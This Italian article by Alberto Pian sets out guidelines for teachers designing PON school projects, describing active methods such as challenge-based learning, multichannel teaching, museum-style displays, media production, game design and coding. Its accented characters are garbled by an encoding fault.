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Linee guida per la progettazione didattica (Atelier e PON)

Alberto Pian

Questo articoloAi??A? rivolto agli insegnanti che desiderano realizzare un PON per sperimentare nuove metodologie didattiche.Ai??Qui vengono presentate alcune idee di fondo che possono poi essere rielaborate nello specifico.
Queste metodologie sono state ideate e/o sperimentate direttamente dall’autore in vari contesti, nazionali e internazionali.

 



Obiettivi generali

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Il principale obiettivo consiste nellai??i??implementare una didattica che, tra le altre caratteristiche (stabilite in base a criteri specifici della scuola di riferimento), comprenda anche queste:

1. che sia attiva (partecipazione diretta degli studenti al percorso didattico)

2. che si adatti ai ritmi di apprendimento di ciascuno e che sia contestualizzata

3. che si esprima attraverso lo sviluppo della creativitAi?? di ciascuno studente e sappia valorizzare i propri talenti.


Strumenti

Per raggiungere questi obiettivi bisogna perseguire la partecipazione sistematica degli studenti a tutte le fasi del processo di insegnamento /apprendimento. Questa partecipazione implica che gli studenti siano attivi sia nelle aule scolastiche che fuori da esse, in contesti reali, che possano accedere alle fonti di documentazione e alle applicazioni necessarie, ai laboratori reali e virtuali e a tutte le risorse e gli strumenti necessari per lavorare anche in mobilitAi?? e off line.

Per realizzare questo processo A? necessario che ogni studente (e ogni insegnante), sia fornito di uno strumento mobile, personale, sempre connesso (1:1), che gli consenta:

1. di mantenere aperti i propri contatti con i canali e avere un accesso continuo alle risorse digitali e reali

2. di rielaborare i contenuti in qualsiasi momento e luogo

3. di applicare la propria creativitAi?? senza limiti, sfruttando migliaia di applicazioni utili e di combinazioni possibili (App Smashing).


Metodologie didattiche

Italy 2015 Challenge to Change #4 - Lucca

In che modo strutturare un progetto PON che si situi nel solco di queste pratiche didattiche attive e multicanali?

Esistono alcune opzioni che posiamo considerare e che elenchiamo brevemente.

Opzioni generali e strutturali

La didattica multicanale e la didattica basata sulle sfide (CBL), possono essere considerate due pratiche di insegnamento distinte che servono per arricchire i processi in corso, oppure possono essere considerate due sistemi strutturati, che servono per riprogettare gli ambienti di apprendimento allai??i??interno di gruppi di classi, di discipline e o dellai??i??intera istituzione scolastica.

Bisogna anche considerare che la didattica multicanale implica la soluzione di sfide e la didattica della sfida implica necessariamente un contesto multicanale.

Per cui queste due pratiche, in realtAi??, sono fra loro strettamente connesse. Tuttavia i docenti possono prendere liberamente dallai??i??una e dallai??i??altra gli elementi che ritengono piA? utili per i loro processi di insegnamento / apprendimento. Illustriamo prima queste metodologie strutturali e poi alcune altre pratiche che possono essere usate inAi??modo indipendente oppure possono essere inserite in queste strutture.

Didattica multicanale

Si tratta di incentivare fra gli studenti il corretto reperimento delle fonti, il loro esame critico, il loro riutilizzo. Per questo occorre predisporre accessi alle fonti istituzionali e mediatiche (biblioteche, centri di ricerca e documentazione, mediateche, servizi proposti da diverse app e servizi del web 2, ma anche libri, textbook, libri digitali, fonti storiche e autentiche, ecc.) in modo che gli studenti possono cercare direttamente, sotto la guida degli insegnanti, le fonti necessarie per valutarle ed esaminarle in classe ricavano i contenuti dellai??i??apprendimento.

Didattica basata sulla sfida (CBL)

Questo tipo di didattica si fonda sulla metodologia del Challenge Based Learning che imposta lo studio proponendo agli studenti delle ai???sfideai??? da risolvere. Attraverso una questione generale (Big Question), gli studenti sono portati a effettuare ricerche e studi che li conducono a studiare diverse discipline (didattica inter e multi disciplinari), a porsi nuove domande e ad apprendere trovando le risposte a queste domande. Questa A? una didattica molto attiva, coinvolgente, sperimentale, che viene formalizzata attraverso la pubblicazione dei risultati e, dove A? possibile, attraverso la sperimentazione diretta delle soluzioni trovate (es: come riciclare meglio i prodotti della scuola; come limitare i consumi di carta; come eliminare il fenomeno dellai??i??abbandono degli animali; come risolvere un determinato problema storico, urbanistico, scientifico, alimentare, ecc.). Il CBL puA? inserire al suo interno tutte le altre pratiche e metodologie didattiche.


Pratiche didatticheIMG_8077

Come spiegavamo prima, queste pratiche possono essere inserite nelle strutture che abbiamo esposto (didattica multicanale o didattica delle sfide CBL), oppure possono essere impiegate come pratiche specifiche allai??i??interno di progetti didattici e attivitAi?? differenti e giAi?? articolate.

Didattica in Real World

Questa metodologia presuppone che lai??i??insegnamento sia basato soprattutto su ricerche sul campo, attraverso osservazioni dirette della realtAi??. Queste osservazioni si possono riferire a temi culturali (e quindi musei, monumenti, siti urbani, storici, ecc.), o naturali (e quindi ambienti, luoghi, laboratori di ricerca, ecc.). Questo tipo di didattica si deve avvalere di strumenti specifici come rilevatori scientifici, fotocamere, labdisc, strumenti di raccolta e manipolazione dei dati in genere. I dati raccolti devono essere analizzati, rielaborati e quindi pubblicati in diverse forme (relazioni, raccolta di risorse, eBook, ecc.).

Didattica museale

Questa metodologia si ispira alla didattica museale e ai suoi principi di divulgazione. Lai??i??obiettivo e lo scopo finale di questa metodologia coincidono e confluiscono nella rappresentazione visuale (reale e virtuale) del contenuto di apprendimento. I contenuti sono studiate con lo scopo di essere rappresentati per diversi target e attraverso tutti i possibili strumenti e canali di divulgazione. Come in un museo, possono essere costruite delle teche o delle esposizioni – rappresentazioni che rappresentano un tema culturale o scientifico, storico, geografico, tecnico, ecc. Queste teche o esposizioni – rappresentazioni, sono corredate da unai??i??apparato di divulgazione creato in modo che parli contemporaneamente a piA? soggetti portatori di diverse esigenze (bambini, studenti, studiosi, famiglie, ecc.). Lai??i??apparato divulgativo si avvale di tutti gli strumenti oggi disponibili, dalla RealtAi?? Aumentata alla videoproduzione, alla costruzione manuale degli oggetti, ecc. Il processo di apprendimento / insegnamento si verifica nel corso stesso della costruzione degli oggetti mussali e nella produzione dellai??i??apparato divulgativo.

Didattica fondata sui linguaggi

Queste pratiche mirano essenzialmente a a rendere gli studenti padroni dei linguaggi dai quali sono sommersi e bombardati. I processi di apprendimento / insegnamento vengono stimolati attraverso la padronanza che studenti sviluppano utilizzando i linguaggi mediatici piA? diffusi e meno. Questi linguaggi comprendono il trailer, il video, il docufilm, il filmato espressionista e virale, il corto, lo spot, il filmato di animazione, a passo uno, il teatro, il teatro povero, il teatro di strada, il cantastorie, il mimo, la musica nelle sue varie forme e tendenze, la poesia, la videopoesia,la recensione nelle sue varie forme, la narrativa, il racconto, il fumetto, il poster, la cartolina, la cartolina elettronica, lai??i??album delle figurine, lai??i??impaginato, il depliant, il giornale, la rivista, la rivista elettronica e interattiva, la dispensa, il libro, lai??i??eBook, il Mutli Touch Book, la fotografia, lai??i??album fotografico, il catalogoai??i?? La rappresentazione di un contenuto attraverso la comunicazione linguistica fornisce allo studente il terreno di apprendimento che avviene attraverso la rielaborazione dei contenuti che puA? avvenire sia in ambito disciplinare che multidisciplinare.

Didattica basata sul gioco

La didattica basata sul gioco A? una didattica che tende a trasformare i contenuti in giochi (gamification) costruendo intorno ai contenuti apparati di gioco, fino a creare, eventualmente, veri e propri ambienti di gioco (serious games). Lai??i??apprendimento / insegnamento non avviene giocando ma costruendo il gioco stesso. Lo studio del gioco. delle sue strutture, dei livelli, degli ambienti, degli ostacoli, dei punteggi, della grafica (rappresentazione), A? il vero terreno dellai??i??apprendimento, stimola le capacitAi?? logiche e la padronanza dei contenuti. La creazione di giochi non implica necessariamente lai??i??impiego di linguaggi di programmazione, ma anche semplici applicazioni e soluzioni come le applicazioni interattive per la presentazione di slide, o la possibilitAi?? di rielaborare il gioco come avviene in Osmo e in altre applicazioni. La costruzione di giochi comprende anche giochi di carte, da tavola, fino alla creazione di ambienti virtuali 3D (es: Edmondo).

Didattica basata sul coding (programmazione)

La didattica basata sulla programmazione si basa sul presupposto che tutto puA? essere codificato perchAi?? tutto A? rappresentabile attraverso un linguaggio logico fondato su variabili, alternative e funzioni. In questo caso lai??i??apprendimento / insegnamento si situa nello sviluppo dei processi logici e narrativi. I contenuti vengono rielaborati per produrre piccole storie con linguaggi a oggetti e strutture materiali e robotica come i Lego, Sphero, ecc. o con applicazioni di coding di vari livelli (da Scratch a Swift passando per numerosi strumenti reperibili per tablet e web 2). Se non A? semplicemente orientata alla produzione di strumenti di calcolo e di rilevazione, la programmazione in genere implica anche la costruzione di storie e si aggancia in molti casi alla didattica basata sul gioco perchAi?? moltissime applicazioni del coding oggi si trovano proprio nella costruzione di storie interattive e di giochi. Anche la costruzione di una applicazione su specifici contenuti (storici, ambientali, ecc.), fa parte del coding e, in questo caso, si aggancia alle altre pratiche didattiche che abbiamo qui esposto.


Qualche riferimento utile

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